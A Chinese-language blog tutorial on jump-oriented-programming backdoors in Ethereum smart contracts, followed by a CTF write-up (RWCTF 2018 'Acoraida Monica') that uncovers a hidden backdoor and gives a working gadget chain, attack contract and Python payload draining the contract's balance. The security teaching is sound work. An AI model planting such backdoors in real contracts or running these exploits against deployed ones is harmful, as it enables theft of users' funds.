智能合约的jop后门

 

智能合约的JOP后门

evm中的JOP类似于ROP,通常用于后门的编写。其中最著名的案例就是RWctf2018final的acoraidamonica这一道题目,本人做完后受益颇多,在此篇中详细讲讲JOP的原理以及这道题目的题解。

JOP后门原理

在讲解JOP前,首先需要知道solidity的构造函数的原理。

构造函数

当我们发送一笔交易来构造一个合约时,需要将构造合约的bytecode填入input中,这些bytecode包含了三个部分:

  1. initcode,也就是合约的构造代码,包括了一些将合约代码从calldata中copy进stack等一些操作
  2. 合约本身编译后的bytecode
  3. 构造函数的参数

我们拿一个例子:

pragma solidity ^ 0.8.0;
contract test{
    uint public num ;
    constructor(uint n) public{
        n = num;
    }
    function say() public returns(string memory){
        return "lalalalal";
    }
}

我们将构造函数中的参数n设置为0x111122223333,那么创建合约交易中的calldata如下:

"0x608060405234801561001057600080fd5b5060405161028a38038061028a83398181016040528101906100329190610052565b60005490505061009c565b60008151905061004c81610085565b92915050565b60006020828403121561006457600080fd5b60006100728482850161003d565b91505092915050565b6000819050919050565b61008e8161007b565b811461009957600080fd5b50565b6101df806100ab6000396000f3fe
608060405234801561001057600080fd5b50600436106100365760003560e01c80634e70b1dc1461003b578063954ab4b214610059575b600080fd5b610043610077565b6040516100509190610124565b60405180910390f35b61006161007d565b60405161006e9190610102565b60405180910390f35b60005481565b60606040518060400160405280600981526020017f6c616c616c616c616c0000000000000000000000000000000000000000000000815250905090565b60006100c58261013f565b6100cf818561014a565b93506100df818560208601610165565b6100e881610198565b840191505092915050565b6100fc8161015b565b82525050565b6000602082019050818103600083015261011c81846100ba565b905092915050565b600060208201905061013960008301846100f3565b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050919050565b60005b83811015610183578082015181840152602081019050610168565b83811115610192576000848401525b50505050565b6000601f19601f830116905091905056fea26469706673582212206851a97522a00fb6719567b1160c808a4c61248eb395bb1015eaf007aa31e45464736f6c634300080000330000000000000000000000000000000000000000000000000000111122223333"

其中,第一段为initcode,也就是合约创建时构造函数的代码,最后面64个byte为构造函数的参数,在我们的样例中,为111122223333,中间的就是合约真正的代码。

那么这个构造函数的代码是什么呢?这里反汇编的结果如下:

				memory[0x40:0x60] = 0x80;
        var var0 = msg.value;
        if (var0) { revert(memory[0x00:0x00]); }
        var temp0 = memory[0x40:0x60];
        var temp1 = code.length - 0x028a;
        memory[temp0:temp0 + temp1] = code[0x028a:0x028a + temp1];
        memory[0x40:0x60] = temp1 + temp0;
        var0 = 0x0032;
        var var1 = temp0 + temp1;
        var var2 = temp0;
        var0 = func_0052(var1, var2);
        memory[0x00:0x01df] = code[0xab:0x028a];
        return memory[0x00:0x01df];

由于这里用的编译器版本为0.8.0,所以构造函数中的n默认是memory。我们输入的构造函数的参数在calldata的最末尾,偏移为0x28a,赋值的操作在第六行。合约本身的代码的偏移为0xab,即0xab-0x28a这一段,所以最后构造函数会将这段代码copy进memory,然后返回这段内存。

所以总结来看,构造函数会首先执行开发者写到构造函数中的逻辑,比如初始化一些变量,然后会将编译后的合约代码返回。

这里有一些值得注意的点,对于上述所说的代码,其实就是calldata,在构造函数运行时都会被算作为code字段。虽然构造函数只会运行init段,但是合约代码以及构造函数的参数都会被当作代码段。换句话说,虽然后续的合约本身的代码不会被运行,但是这些东西虽然是数据,但是和代码存储的地方一样。

JOP后门

那么综合上述逻辑,如果我们在构造函数里面写入一些控制流跳转语句,跳转位置得当的话,他就会越过正常的执行逻辑,进而执行隐藏的后门逻辑中。

可能这么描述不太直观,那我们来看一个例子:

pragma solidity = 0.4.25;
contract good{
    constructor(bytes a) public{
        assembly{
            0x78
            jump
        }
    }
    function test() public returns(string){
        return "good";
    }
}
contract backdoor{
    function test() public returns(string){
        return "hack";
    }
}

先不要管构造函数奇怪的写法,按照和之前一样的流程,我们先部署good合约,参数a的话一样写成111122223333。

但是这次部署的话会出现问题,直接revert,此时我们先看一下我们发送的calldata(也就是code)长什么样子:

[
	"0x608060405234801561001057600080fd5b506040516100383803806100388339810180604052810190808051820192919050505060785600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000061111222233330000000000000000000000000000000000000000000000000000"
]

此时我们再跟着debug来一遍,前面的地方都还好,和正常的构造函数一样,但是在revert前会执行这么一个语句:

image-20220120160745845

其中的push6b就是构造函数中的78,也就是说构造函数里面那两句汇编的作用就是直接跳转到6b继续执行。那么6b这个地址是哪里呢?

其实这个很好猜,就是我们输入的构造函数参数在code里面的偏移。

由于evm里的jump指令智能跳转到jumpdest,所以直接跳转到我们的111122223333肯定会revert。那么这次我们将输入的a改成0x5b33333333,再次部署:

image-20220120161024523

可以看到这次成功部署,0x33为caller的bytecode。

那么既然我们可以通过这种方式控制执行流,我们是否可以做一些高级点的动作呢?

我们首先编译好第二个backdoor合约,得到其bytecode:

0x608060405234801561001057600080fd5b5061013f806100206000396000f300
608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063f8a8fd6d14610046575b600080fd5b34801561005257600080fd5b5061005b6100d6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561009b578082015181840152602081019050610080565b50505050905090810190601f1680156100c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60606040805190810160405280600481526020017f6861636b000000000000000000000000000000000000000000000000000000008152509050905600a165627a7a723058204ea0509b4e33680ce8e48e53be9e65cef19411672fb89b5d866af28e04dbb04b0029

第一行是initcode,我们不要,只要后半段。

构造函数需要返回code的起始地址和长度,那么我们构造的payload如下:

5b
61 013f
60 c7
f3
608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063f8a8fd6d14610046575b600080fd5b34801561005257600080fd5b5061005b6100d6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561009b578082015181840152602081019050610080565b50505050905090810190601f1680156100c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60606040805190810160405280600481526020017f6861636b000000000000000000000000000000000000000000000000000000008152509050905600a165627a7a723058204ea0509b4e33680ce8e48e53be9e65cef19411672fb89b5d866af28e04dbb04b0029

5b为jumpdest,61是push2,013f为code的长度,60为push1,c7为code在内存中的起始地址(注意是memory而不是code,可以在debug环境看),f3为return。

那么这时我们将上述的bytecode作为合约的构造函数输入:

0x5b61013f60c7f3608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063f8a8fd6d14610046575b600080fd5b34801561005257600080fd5b5061005b6100d6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561009b578082015181840152602081019050610080565b50505050905090810190601f1680156100c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60606040805190810160405280600481526020017f6861636b000000000000000000000000000000000000000000000000000000008152509050905600a165627a7a723058204ea0509b4e33680ce8e48e53be9e65cef19411672fb89b5d866af28e04dbb04b0029

成功部署,此时我们调用test函数:

image-20220120162644166

可以看到,原本应该返回good的test函数被鸠占鹊巢,返回了backdoor的hack。

以上就是JOP后门的基本原理。

Acoraida Monica Writeup

在介绍完了JOP后门原理后,我们再来看这道题目就好理解很多了。

题目的代码在:https://github.com/xhyumiracle/rwctf2018finals-AcoraidaMonica

最主要的合约代码:

pragma solidity =0.4.25;

contract AcoraidaMonicaGame{
    uint256 public version = 4;
    string public description = "Acoraida Monica admires smart guys, she'd like to pay 10000ETH to the one who could answer her question. Would it be you?";
    string public constant sampleQuestion = "Who is Acoraida Monica?";
    string public constant sampleAnswer = "$*!&#^[` a@.3;Ta&*T` R`<`~5Z`^5V You beat me! :D";
    Logger public constant logger=Logger(0x5e351bd4247f0526359fb22078ba725a192872f3);
    address questioner;
    string public question;
    bytes32 private answerHash;

    constructor(bytes a) {
        assembly{
        pc
        0xe1
        add
        jump
        }
    }
    modifier onlyHuman{
        uint size;
        address addr = msg.sender;
        assembly { size := extcodesize(addr) }
        require(size==0);
        _;
    }
    function Start(string _question, string _answer) public payable{
        if(answerHash==0){
            answerHash = keccak256(_answer);
            question = _question;
            questioner = msg.sender;
        }
    }
    function NewRound(string _question, bytes32 _answerHash) public payable{
        if(msg.sender == questioner && msg.value >= 0.5 ether){
            require(_answerHash != keccak256(sampleAnswer));
            question = _question;
            answerHash = _answerHash;
            logger.AcoraidaMonicaWantsToKnowTheNewQuestion(_question);
            logger.AcoraidaMonicaWantsToKnowTheNewAnswerHash(_answerHash);
        }
    }
    function TheAnswerIs(string _answer) onlyHuman public payable{
        //require(msg.sender != questioner);
        if(answerHash == keccak256(_answer) && msg.value >= 1 ether){
            questioner = msg.sender;
            msg.sender.transfer(address(this).balance);
            logger.AcoraidaMonicaWantsToKeepALogOfTheWinner(msg.sender);
        }
    }
    /*
    function setLogger(address _log) public {
        require(msg.sender == questioner);
        logger = Logger(_log);
    }
    */
    function () payable {}
}
contract Logger{
    event WeHaveAWinner(address);
    event NewQuestion(string);
    event NewAnswerHs(bytes32);
    function AcoraidaMonicaWantsToKeepALogOfTheWinner(address winner) public {
        emit WeHaveAWinner(winner);
    }
    function AcoraidaMonicaWantsToKnowTheNewQuestion(string _question) public{
        emit NewQuestion(_question);
    }
    function AcoraidaMonicaWantsToKnowTheNewAnswerHash(bytes32 _answerHash) public {
        emit NewAnswerHs(_answerHash);
    }
}

其实有了之前章节的介绍,就能知道其实构造函数之外的代码都是骗鬼的,实际运行的代码其实有后门。

由于程序运行环境是本地geth搭建的私有网络,所以不能直接的用etherscan这种网站来查交易记录,需要手动的查询。

而且还有个坑就是这里的web3provider和公链不一样,因为这个本地网络是poa网络,所以前期的连接方式代码如下:

from web3 import Web3
import web3
import json
import sys
import time
from web3.middleware import geth_poa_middleware
my_ipc = Web3.HTTPProvider("http://0.0.0.0:8090")
assert my_ipc.isConnected()
w3 = Web3(my_ipc)
w3.middleware_onion.inject(geth_poa_middleware, layer=0)

也就是加了一个middleware。

查询交易记录的话直接遍历所有块,找到包含交易的块打印出来即可,脚本如下:

from web3 import Web3
import web3
#import sha3
#from web3.auto.gethdev import w3
from web3.middleware import geth_poa_middleware
my_ipc = Web3.HTTPProvider("http://0.0.0.0:8090")
assert my_ipc.isConnected()
runweb3 = Web3(my_ipc)
runweb3.middleware_onion.inject(geth_poa_middleware, layer=0)
info = "blocknumber:{}\n transction:{}\n recipient:{}"
def get_block(n):
    block = runweb3.eth.getBlock(n)
    while(block):
        if(block.transactions):
            for tx in block.transactions:
                #print(info.format(n, runweb3.eth.getTransaction(tx), runweb3.eth.getTransactionReceipt(tx)))
                print("blocknumber: " + str(n))
                print("from:        " + runweb3.eth.getTransaction(tx)['from'])
                if(runweb3.eth.getTransactionReceipt(tx)['contractAddress']):
                    print("contract:    " +runweb3.eth.getTransactionReceipt(tx)['contractAddress'])
                else:
                    print("to:          " +runweb3.eth.getTransactionReceipt(tx)['to'])
                print("call data:   " + runweb3.eth.getTransaction(tx)['input'])
        n = n+1
        block = runweb3.eth.getBlock(n)
get_block(1)

得到的数据如下:

blocknumber: 6
from:        0x492705C00090cB7C1cBb5eC3ab0B09F310Dec399 //admin
contract:    0x5e351BD4247F0526359FB22078ba725A192872f3 //logger agent
call data:   0x608060405234801561001057600080fd5b50604080517f41636f7261696461204d6f6e6963612069732063757465203a500000000000008152905190819003601a019020610056903364010000000061005b810204565b61005f565b9055565b6102c48061006e6000396000f3006080604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630900f010811461007357806313af4035146100a15780635c60da1b146100cf5780638da5cb5b1461010d575b61007161006c610122565b610165565b005b34801561007f57600080fd5b5061007173ffffffffffffffffffffffffffffffffffffffff60043516610189565b3480156100ad57600080fd5b5061007173ffffffffffffffffffffffffffffffffffffffff600435166101f1565b3480156100db57600080fd5b506100e4610122565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561011957600080fd5b506100e4610256565b604080517f536f20697320686572206c6f67676572203a44000000000000000000000000008152905190819003601301902060009061016090610290565b905090565b3660008037600080366000845af43d6000803e808015610184573d6000f35b3d6000fd5b33610192610256565b73ffffffffffffffffffffffffffffffffffffffff16146101b257600080fd5b604080517f536f20697320686572206c6f67676572203a4400000000000000000000000000815290519081900360130190206101ee9082610294565b50565b336101fa610256565b73ffffffffffffffffffffffffffffffffffffffff161461021a57600080fd5b604080517f41636f7261696461204d6f6e6963612069732063757465203a500000000000008152905190819003601a0190206101ee9082610294565b604080517f41636f7261696461204d6f6e6963612069732063757465203a500000000000008152905190819003601a019020600090610160905b5490565b90555600a165627a7a72305820037b138c3c4ca69837603d87247d193891ab9393bbf5f87ec357fca896cc7e5e0029

blocknumber: 6
from:        0x492705C00090cB7C1cBb5eC3ab0B09F310Dec399 //admin
contract:    0x8708693bFEf2aba7944DfE0C671Ab2deE59fB961 //logger
call data:   0x608060405234801561001057600080fd5b50610246806100206000396000f3006080604052600436106100565763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630900f010811461005b578063679e11491461008b578063f1952473146100a3575b600080fd5b34801561006757600080fd5b5061008973ffffffffffffffffffffffffffffffffffffffff600435166100fc565b005b34801561009757600080fd5b50610089600435610148565b3480156100af57600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261008994369492936024939284019190819084018382808284375094975061017e9650505050505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8316815290517f10233db257888c60414333eee11dab8e8dabaf552466002fee253e03615db1d19181900360200190a150565b6040805182815290517ff364df9ddb52f724ebe11e75eeec2201580773fcb1e859511504ae872d4bf4569181900360200190a150565b7f0230497b4479b19065f0fe9c0bdee0259402f893cfa9e9b6a44fbf6ecca6299c816040518080602001828103825283818151815260200191508051906020019080838360005b838110156101dd5781810151838201526020016101c5565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390a1505600a165627a7a72305820a0f75e6ea7890191aded7de6d24ce8c95b6effc66e67e5b577d26eedb1738e7f0029

blocknumber: 6
from:        0x492705C00090cB7C1cBb5eC3ab0B09F310Dec399 //admin
contract:    0xa9E63a4487F06Aa51c2f815B4807B80b64363594 //arcoraida monica
call data:   0x6004600055610120604052607960808190527f41636f7261696461204d6f6e6963612061646d6972657320736d61727420677560a09081527f79732c207368652764206c696b6520746f20706179203130303030455448207460c0527f6f20746865206f6e652077686f20636f756c6420616e7377657220686572207160e0527f75657374696f6e2e20576f756c6420697420626520796f753f00000000000000610100526100b191600191906100db565b503480156100be57600080fd5b50604051610177380380610177833981016040528051015860e101565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061011c57805160ff1916838001178555610149565b82800160010185558215610149579182015b8281111561014957825182559160200191906001019061012e565b50610155929150610159565b5090565b61017391905b80821115610155576000815560010161015f565b905600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000009d55b633ccfd60b61262a556109c4610171f36080604052600436106100985763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663281ba0a8811461009a5780633fad9ae01461012457806346a3ec671461013957806354fd4d50146101855780637284e416146101ac578063aa332032146101c1578063c76de3e91461020f578063f24ccbfe14610299578063f7ff68a3146102d7575b005b3480156100a657600080fd5b506100af6102ec565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100e95781810151838201526020016100d1565b50505050905090810190601f1680156101165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013057600080fd5b506100af61034c565b6040805160206004803580820135601f81018490048402850184019095528484526100989436949293602493928401919081908401838280828437509497506103da9650505050505050565b34801561019157600080fd5b5061019a61053b565b60408051918252519081900360200190f35b3480156101b857600080fd5b506100af610541565b6040805160206004803580820135601f8101849004840285018401909552848452610098943694929360249392840191908190840183828082843750949750509335945061059b9350505050565b6040805160206004803580820135601f810184900484028501840190955284845261009894369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506108139650505050505050565b3480156102a557600080fd5b506102ae6108ae565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156102e357600080fd5b506100af6108c6565b606060405190810160405280603081526020017f242a2126235e5b602061402e333b5461262a54602052603c607e355a605e355681526020017f20596f752062656174206d6521203a440000000000000000000000000000000081525081565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d25780601f106103a7576101008083540402835291602001916103d2565b820191906000526020600020905b8154815290600101906020018083116103b557829003601f168201915b505050505081565b33803b9081156103e957600080fd5b826040518082805190602001908083835b602083106104195780518252601f1990920191602091820191016103fa565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120600454149250508115905061045f5750670de0b6b3a76400003410155b15610536576002805473ffffffffffffffffffffffffffffffffffffffff1916339081179091556104b13660a01415815761402e61049d3361ffff16565b5101561580156104b1563d6000803e3d6000fd5b50604080517f0900f0100000000000000000000000000000000000000000000000000000000081523360048201529051735e351bd4247f0526359fb22078ba725a192872f391630900f01091602480830192600092919082900301818387803b15801561051d57600080fd5b505af1158015610531573d6000803e3d6000fd5b505050505b505050565b60005481565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d25780601f106103a7576101008083540402835291602001916103d2565b60025473ffffffffffffffffffffffffffffffffffffffff16331480156105ca57506706f05b59d3b200003410155b1561080f5760408051606081018252603080825256242a2126235e5b602061402e333b5461262a54602052603c607e355a605e3556602083019081527f20596f752062656174206d6521203a4400000000000000000000000000000000838501529251919282918083835b602083106106545780518252601f199092019160209182019101610635565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120841415925061068e91505057600080fd5b81516106a19060039060208501906108fd565b5060048181556040517ff19524730000000000000000000000000000000000000000000000000000000081526020918101828152845160248301528451735e351bd4247f0526359fb22078ba725a192872f39363f195247393879392839260449092019185019080838360005b8381101561072657818101518382015260200161070e565b50505050905090810190601f1680156107535780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b15801561077257600080fd5b505af1158015610786573d6000803e3d6000fd5b5050604080517f679e1149000000000000000000000000000000000000000000000000000000008152600481018590529051735e351bd4247f0526359fb22078ba725a192872f3935063679e11499250602480830192600092919082900301818387803b1580156107f657600080fd5b505af115801561080a573d6000803e3d6000fd5b505050505b5050565b600454151561080f57806040518082805190602001908083835b6020831061084c5780518252601f19909201916020918201910161082d565b51815160209384036101000a600019018019909216911617905260405191909301819003902060045550845161088a935060039250908501906108fd565b506002805473ffffffffffffffffffffffffffffffffffffffff1916331790555050565b735e351bd4247f0526359fb22078ba725a192872f381565b60408051808201909152601781527f57686f2069732041636f7261696461204d6f6e6963613f000000000000000000602082015281565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061093e57805160ff191683800117855561096b565b8280016001018555821561096b579182015b8281111561096b578251825591602001919060010190610950565b5061097792915061097b565b5090565b61099591905b808211156109775760008155600101610981565b905600a165627a7a723058205bf450560abe05048d3aecd129bb6420ca5acbef2f19c0ef9dca3f158d49e23f00290000000000000000000000

blocknumber: 10
from:        0x492705C00090cB7C1cBb5eC3ab0B09F310Dec399
to:          0x5e351BD4247F0526359FB22078ba725A192872f3 //logger agent
call data:   0x0900f0100000000000000000000000008708693bfef2aba7944dfe0c671ab2dee59fb961

blocknumber: 11
from:        0x492705C00090cB7C1cBb5eC3ab0B09F310Dec399
contract:    0xF71cd211BA6801700B7f96ecDCab826945e8990b //b a
call data:   0x608060405234801561001057600080fd5b506040516101be3803806101be8339810160408181528251602080850151838601517fc76de3e90000000000000000000000000000000000000000000000000000000086526004860194855290860180516044870152805193969095910193600160a060020a0387169363c76de3e993879387939283926024830192606401919087019080838360005b838110156100b257818101518382015260200161009a565b50505050905090810190601f1680156100df5780820380516001836020036101000a031916815260200191505b50838103825284518152845160209182019186019080838360005b838110156101125781810151838201526020016100fa565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561016057600080fd5b505af1158015610174573d6000803e3d6000fd5b505050505050506035806101896000396000f3006080604052600080fd00a165627a7a723058203e4de9ab30a2fe5e13562c8ce9a8dbc53b04e0ebee143230356f0bebf608c9380029000000000000000000000000a9e63a4487f06aa51c2f815b4807b80b64363594000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000048496e204d6164616761736361722c20796f752063616e6e6f742074616b6520612070696374757265206f662061206c656d75722077697468206772617920686169722e205768793f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000017200000000000000000000000000000000000000000000000000000000000000

blocknumber: 14
from:        0x492705C00090cB7C1cBb5eC3ab0B09F310Dec399
to:          0xa9E63a4487F06Aa51c2f815B4807B80b64363594
call data:   0xc76de3e9000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000048496e204d6164616761736361722c20796f752063616e6e6f742074616b6520612070696374757265206f662061206c656d75722077697468206772617920686169722e205768793f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000027596f75206e65656420612063616d65726120696e7374656164206f66206772617920686169722e00000000000000000000000000000000000000000000000000

这样就可以看到题目初始化的所有交易历史。

不过这么看也是比较难受,毕竟最终的目的就是看一下后门代码到底长什么样子,其实只需要用geth配合web3就行:

geth连接本地网络:geth attach <web3provider>

得到合约bytecode:web3.eth.getCode(address)

这样就可以得到后门代码如下:

6080604052600436106100985763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663281ba0a8811461009a5780633fad9ae01461012457806346a3ec671461013957806354fd4d50146101855780637284e416146101ac578063aa332032146101c1578063c76de3e91461020f578063f24ccbfe14610299578063f7ff68a3146102d7575b005b3480156100a657600080fd5b506100af6102ec565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100e95781810151838201526020016100d1565b50505050905090810190601f1680156101165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561013057600080fd5b506100af61034c565b6040805160206004803580820135601f81018490048402850184019095528484526100989436949293602493928401919081908401838280828437509497506103da9650505050505050565b34801561019157600080fd5b5061019a61053b565b60408051918252519081900360200190f35b3480156101b857600080fd5b506100af610541565b6040805160206004803580820135601f8101849004840285018401909552848452610098943694929360249392840191908190840183828082843750949750509335945061059b9350505050565b6040805160206004803580820135601f810184900484028501840190955284845261009894369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497506108139650505050505050565b3480156102a557600080fd5b506102ae6108ae565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156102e357600080fd5b506100af6108c6565b606060405190810160405280603081526020017f242a2126235e5b602061402e333b5461262a54602052603c607e355a605e355681526020017f20596f752062656174206d6521203a440000000000000000000000000000000081525081565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d25780601f106103a7576101008083540402835291602001916103d2565b820191906000526020600020905b8154815290600101906020018083116103b557829003601f168201915b505050505081565b33803b9081156103e957600080fd5b826040518082805190602001908083835b602083106104195780518252601f1990920191602091820191016103fa565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120600454149250508115905061045f5750670de0b6b3a76400003410155b15610536576002805473ffffffffffffffffffffffffffffffffffffffff1916339081179091556104b13660a01415815761402e61049d3361ffff16565b5101561580156104b1563d6000803e3d6000fd5b50604080517f0900f0100000000000000000000000000000000000000000000000000000000081523360048201529051735e351bd4247f0526359fb22078ba725a192872f391630900f01091602480830192600092919082900301818387803b15801561051d57600080fd5b505af1158015610531573d6000803e3d6000fd5b505050505b505050565b60005481565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103d25780601f106103a7576101008083540402835291602001916103d2565b60025473ffffffffffffffffffffffffffffffffffffffff16331480156105ca57506706f05b59d3b200003410155b1561080f5760408051606081018252603080825256242a2126235e5b602061402e333b5461262a54602052603c607e355a605e3556602083019081527f20596f752062656174206d6521203a4400000000000000000000000000000000838501529251919282918083835b602083106106545780518252601f199092019160209182019101610635565b5181516020939093036101000a60001901801990911692169190911790526040519201829003909120841415925061068e91505057600080fd5b81516106a19060039060208501906108fd565b5060048181556040517ff19524730000000000000000000000000000000000000000000000000000000081526020918101828152845160248301528451735e351bd4247f0526359fb22078ba725a192872f39363f195247393879392839260449092019185019080838360005b8381101561072657818101518382015260200161070e565b50505050905090810190601f1680156107535780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b15801561077257600080fd5b505af1158015610786573d6000803e3d6000fd5b5050604080517f679e1149000000000000000000000000000000000000000000000000000000008152600481018590529051735e351bd4247f0526359fb22078ba725a192872f3935063679e11499250602480830192600092919082900301818387803b1580156107f657600080fd5b505af115801561080a573d6000803e3d6000fd5b505050505b5050565b600454151561080f57806040518082805190602001908083835b6020831061084c5780518252601f19909201916020918201910161082d565b51815160209384036101000a600019018019909216911617905260405191909301819003902060045550845161088a935060039250908501906108fd565b506002805473ffffffffffffffffffffffffffffffffffffffff1916331790555050565b735e351bd4247f0526359fb22078ba725a192872f381565b60408051808201909152601781527f57686f2069732041636f7261696461204d6f6e6963613f000000000000000000602082015281565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061093e57805160ff191683800117855561096b565b8280016001018555821561096b579182015b8281111561096b578251825591602001919060010190610950565b5061097792915061097b565b5090565b61099591905b808211156109775760008155600101610981565b905600a165627a7a723058205bf450560abe05048d3aecd129bb6420ca5acbef2f19c0ef9dca3f158d49e23f0029

把这个东西保存一下丢到反汇编软件里面即可。

后门在theAnswerIs函数里:

image-20220120170621892

如果正确回答答案(正确答案可以查阅交易历史或者查看storage获取),发送的value大于1ether,且calldatasize等于0xa0时,就会跳转到后门函数。

后门函数会取调用者地址的后两个字节,然后以这个数为跳转地址进行跳转。

所以说控制好结尾地址就可以控制执行流,生成特定后缀账户地址的方式就很简单了老生常谈了,这里就不赘述了。

由于evm中必须跳转到jumpdest,所以跳转的选择还是比较少的,这里选择的地址是0x5e6,其实是初始答案的那一串乱码中有一个0x5b作为jumpdest,这段代码翻译过来就是这样:

5b602061402e333b5461262a54602052603c607e355a605e3556

.code:             5E6                  JUMPDEST
.code:             5E7                  PUSH1 0x20
.code:             5E9                  PUSH2 0x402e
.code:             5EC                  CALLER
.code:             5ED                  EXTCODESIZE
.code:             5EE                  SLOAD
.code:             5EF                  PUSH2 0x262a
.code:             5F2                  SLOAD
.code:             5F3                  PUSH1 0x20
.code:             5F5                  MSTORE
.code:             5F6                  PUSH1 0x3c
.code:             5F8                  PUSH1 0x7e
.code:             5FA                  CALLDATALOAD
.code:             5FB                  GAS
.code:             5FC                  PUSH1 0x5e
.code:             5FE                  CALLDATALOAD
.code:             5FF                  JUMP

虽然这段代码起不了什么实质性的作用,但是其实这段代码在栈上准备好了delegatecall的参数,262a这个solt存贮的是withdraw的签名,最后一个jump是另一个jop片段,可以看到偏移是0x5e,所以在calldata中0x5e地方写入下一个gadget即可,calldata0x7e处偏移为delegatecall的addr。

那么下一个gadget就是需要能够执行delegatecall的gadget,这个gadget偏移为0x9a2:


.code:             9A0 gvar_9A0         db 0x58
.code:             9A1 gvar_9A1         db 0x20
.code:             9A2 gvar_9A2         db 0x5B JUMPDEST
.code:             9A3 gvar_9A3         db 0xF4 DELEGATECALL
.code:             9A4 gvar_9A4         db 0x50 POP
.code:             9A5 gvar_9A5         db 0x56 JUMP

pop时栈顶为delegatecall的success值,此时jump的地址为0x49d,这个值是在执行JOP逻辑前提前布置在栈内的:

image-20220120182852582

此处逻辑如下:

image-20220120182957134

可以看到逻辑是将memory的402e处存储的东西存到栈中,然后与0x4b1相加,然后jump(0x4b1来自于theansweris的calldatasize的检查前。)所以需要设置一下delegatecall的返回值,使其跳转到正确的地址结束执行。这里选择98这个地址:

.code:              98                  JUMPDEST                                  ; xref: start+Ch (cbr)
.code:              99                  STOP

所以最终的攻击合约代码如下:

pragma solidity =0.4.23;

contract attack{
    address public game = 0xa9E63a4487F06Aa51c2f815B4807B80b64363594;
    address public player = 0x19baa751d1092c906ac84ea4681fa91e269e6cb9;
    function withdraw() public payable returns(uint256){
        player.transfer(game.balance);
        return 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffbe7;
    }
}

攻击payload:

def exp():
    sendETH()
    payload = '46a3ec67' #// TheAnswerIs
    payload += '0000000000000000000000000000000000000000000000000000000000000020'
    payload += '0000000000000000000000000000000000000000000000000000000000000001' #// answer length
    payload += '7200000000000000000000000000000000000000000000000000000000000000' #// answer "r"
    payload += '00000000000000000000000000000000000000000000000009a2'             #// delegatecall JOP gadget
    payload += '000000000000000000000000619c2598bBB2d683e00E5d2561bbCdCE123f7a91' #// <- t.contractAddress (Attack Contract)
    payload += '4848'
    #print(hex(len(payload)))
    #print(payload)
    tx = {
        'chainId':31231,
        'nonce':w3.eth.getTransactionCount(Web3.toChecksumAddress(account)),
        'to':game_addr,
        'gas': 500000,
        'gasPrice': w3.toWei('21', 'gwei'),
        'value': '0xde0b6b3a7640001',
        'from':account,
        'data':payload
    }
    signed = w3.eth.account.sign_transaction(tx, privatekey)
    tx_id = w3.eth.sendRawTransaction(signed.rawTransaction) 
    print(tx_id.hex())

参考

https://www.youtube.com/watch?v=WP-EnGhIYEc

https://www.youtube.com/watch?v=RfL3FcnVbJg